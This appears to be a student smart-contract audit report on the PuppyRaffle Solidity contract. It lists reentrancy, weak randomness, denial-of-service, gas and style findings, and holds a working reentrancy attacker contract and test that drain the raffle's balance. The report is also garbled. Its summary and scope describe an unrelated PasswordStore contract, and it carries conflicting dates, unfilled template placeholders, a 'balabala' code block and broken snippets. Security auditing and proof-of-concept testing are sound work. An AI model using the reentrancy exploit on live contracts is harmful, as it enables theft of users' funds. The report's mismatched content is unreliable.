# Protocol Audit Report

Version 1.0

*Cyfrin.io*

February 28, 2025

# Protocol Audit Report

Sharkeateateat

March 7, 2025

Prepared by: Sharkeateateat Lead Security Researcher: - Sharkeateateat

## Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
- High
- Medium
- Low
- Informational
- Gas

## Protocol Summary

PasswordStore is a protocol dedicated to storage and retrieval of a user's passwords.The protocol is designed to be used by a single user,and is not designed to be used by multiple users.Only the owner should be able to set and access this password.

## Disclaimer

The Sharkeateatea team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

## Risk Classification

| | | Impact | | |
|---|---|---|---|---|
| | | High | Medium | Low |
| | High | H | H/M | M |
| Likelihood | Medium | H/M | M | M/L |
| | Low | M | M/L | L |

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

## Audit Details

Commit Hash:

```
7d55682ddc4301a7b13ae9413095feffd9924566
```

### Scope

```
./src/
#- PasswordStore.sol
```

### Roles

-Owner:The user who can set the password and read the password. -Outsides:No one else should be able to set or read the password.

## Executive Summary

*Add some notes about how the audit went,types of things you found,etc.*

*We spent X hours with Z auditors using Y tools.etc*

### Issues found

| Severtity | Number of issues found |
|---|---|
| High | 2 |
| Medium | 1 |
| Low | 1 |
| Gas | 2 |
| Info | 5 |
| Total | 11 |

## Findings

### High

#### [H-1]: Reentracy attack in PuppyRaffle`::`refund allows entrant to drain raffle balance

**Description:** The `PuppyRaffle::refund` function does not follow CEI(Checks, Effects, Informations) and as a result, enables particpants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msq.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
function refund(uint256 playerIndex) public {
        //audit MEV
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund.They could continue the cycle till the contract balance is drained.

**Impact:** All fees paid by raffle entrants could be stolen by the malicious participant.

**Proof of Concept:**

1.User enters the raffle 2.Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund` 3.Attacker enters the raffle 4.Attacker calls `PuppyRaffle::refund` from their attack contract,draining the contract balance

**Proof of Code:**

Code

Place the following into `PuppyRaffleTest.t.sol`

```
function test_Reentrancy_refund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser,1 ether);

        uint256 startingAttackContractBalance = address(
            attackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;


        vm.prank(attackUser);
        attackerContract.attack{value:entranceFee}();

        console.log(startingAttackContractBalance);
        console.log(startingContractBalance);

        console.log(address(attackerContract).balance);
        console.log(address(puppyRaffle).balance);
    }
```

And this contract as well

```
contract ReentrancyAttacker{
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndenx;

    constructor(PuppyRaffle _puppyRaffle){
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();

    }

    function attack() external payable{
        address[] memory players = new address[](1);
        players[0] = address(this);

        puppyRaffle.enterRaffle{value: entranceFee * 1}(players);

        attackerIndenx = puppyRaffle.getActivePlayerIndex(address(this)
            );
        puppyRaffle.refund(attackerIndenx);



    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee){
            puppyRaffle.refund(attackerIndenx);
        }
    }

    fallback() external payable{
        _stealMoney();
    }

    receive() external payable{
        _stealMoney();
    }


}
```

**Recommended Mitigation:** To prevent this,we should have the `PuppyRaffle::refund` function update the `players` array before making the external call.Additionally,we should move the event emission up as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

### [H-2]:Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner

**Description:** Hashing `msg.sender`, `block.timestamp`,and `block.difficulty` together creates a predictable find number.A predictable number is not a good random number.Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselvles.

*Note:* This additionally means users could front-run this function and call `refund` if they see they are not the winner.

**Impact:** Any user can influence the winner of the raffle,winning the money and selecting the `rarest` puppy.Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

**Proof of Concept:** 1.Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate.See the solidity blog on prevrandao. `block.difficulty` was recently replaced wih prevrandao. 2.User can mine/manipulate their `msg.sender` value to result in thir address being used to generated the winner! 3.Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a [well-documented attack vector] in the blockchain space.

**Recommended Mitigation:** Consider using a cryptographically provable random number generator such as Chainlink VRF.

## Medium

### [M-1]: Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack,increamenting gas costs for future entrants.

**Description:** The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates.However,the longer the `PuppyRaffle::players` array is,the more checks a new player will have to make.This means the gas costs for players who enter right when the raffle stats will be dramatically lower than those who enter later. Every additional address in the `players` array,is an additional check the loop will have to make.

```
@>      for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

**Impact:** The gas costs for raffle entrants will greatly increase as more players enter the raffle.Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big,that no one else enters, guarenteeing themselves the win.

**Proof of Concept:**

If we have 2 sets of 100 players enter,the gas costs will be as such: - 1st 100 players: ~6252128 gas - 2nd 100 players: ~18068218 gas

This more than 3x more expensive for the second 100 players.

PoC

Place the following test into 'PuppyRaffleTest.t.sol'.

```
function test_DosAttack() public {
        //the first 100 players
        vm.txGasPrice(1);
        uint256 playsnum = 100;
        address[] memory newPlayers = new address[](playsnum);
        for (uint256 i = 0; i < playsnum; i++){
            newPlayers[i] = address(i);
        }

        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: (entranceFee *newPlayers.length)
            }(newPlayers);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart-gasEnd) * tx.gasprice;

        console.log("Gas usd in first 100 people",gasUsedFirst);


        address[] memory newPlayers2 = new address[](playsnum);
        for (uint256 i = 0; i < playsnum; i++){
            newPlayers2[i] = address(i+100);
        }

        uint256 gasStart2 = gasleft();
        puppyRaffle.enterRaffle{value: (entranceFee *newPlayers.length)
            }(newPlayers2);
        uint256 gasEnd2 = gasleft();
        uint256 gasUsed2 = (gasStart2-gasEnd2) * tx.gasprice;

        console.log("Gas usd in second 100 people",gasUsed2);

        assert(gasUsed2>gasUsedFirst);
    }
```

**Recommended Mitigation:** There are a few recomendatoins.

1. Consider allowing duplicates. Users can make new wallet addresses anyways,so a duplicate check doesn't prevent the same person from entering multiple times,only the same wallet address.
2. Consider using a mapping to check for duplicates.This would allow constant time lookup of whether a user has already entered.

```
balabala
```

## LOW

### [L-1]: `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

**Description:** If a player is in the `PuppyRaffle::players` array at index 0,this will return 0,but according to the natspec, it will also return 0 if the player is not in the array.

```
    function getActivePlayerIndex(address player) external view returns
        (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

**Impact:** A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

**Proof of Concept:**

1.User enters the raffle,they are the first entrant 2.`PuppyRaffle::getActivePlayerIndex` returns 0 3.User thinks they have not entered correctly due to the function documentation

**Recommended Mitigation:** The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for for any competition,but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

## Gas

### [G-1]: Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instance: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

### [G-2]: Storage variables in a loop should be cached

Everytime you call `player.length` you read from strorage, as opposed to memory which is more efficient.

```
+       uint256 playerlength = players.length;
-       for (uint256 i = 0; i < players.length - 1; i++) {
+       for (uint256 i = 0; i < playerslength - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
+           for (uint256 j = i + 1; j < playerslength; j++) {
```

```
                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
            }
        }
```

### Information

#### [I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

#### [I-2]: Using an outdated version of Solidity is not recommanded.

Please use a newer version like `0.8.18`

**Description:** solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

**Recommendation Mitigation:** Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

#### [I-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 62

  ```
          feeAddress = _feeAddress;
  ```

- Found in src/PuppyRaffle.sol Line: 168

```
            feeAddress = newFeeAddress;
```

### [I-4]: `PuppyRaffle::selectwinner` does not follow CEI,which is not a best practice

It's best to keep code clean and follow CEI (Checks,Effects,Interactions).

```
-        (bool success,) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
         _safeMint(winner, tokenId);
+        (bool success,) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
```

### [I-5]: Use "magic" numbers is discouraged

It can be confusing to see number literals in a codebase,and it's much more readable if the numbers are given a name.

```
uint256 prizePool (totalAmountCollected 80)/100;
uint256 fee =(totalAmountCollected 20)/100;
```

Instead,you could use:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```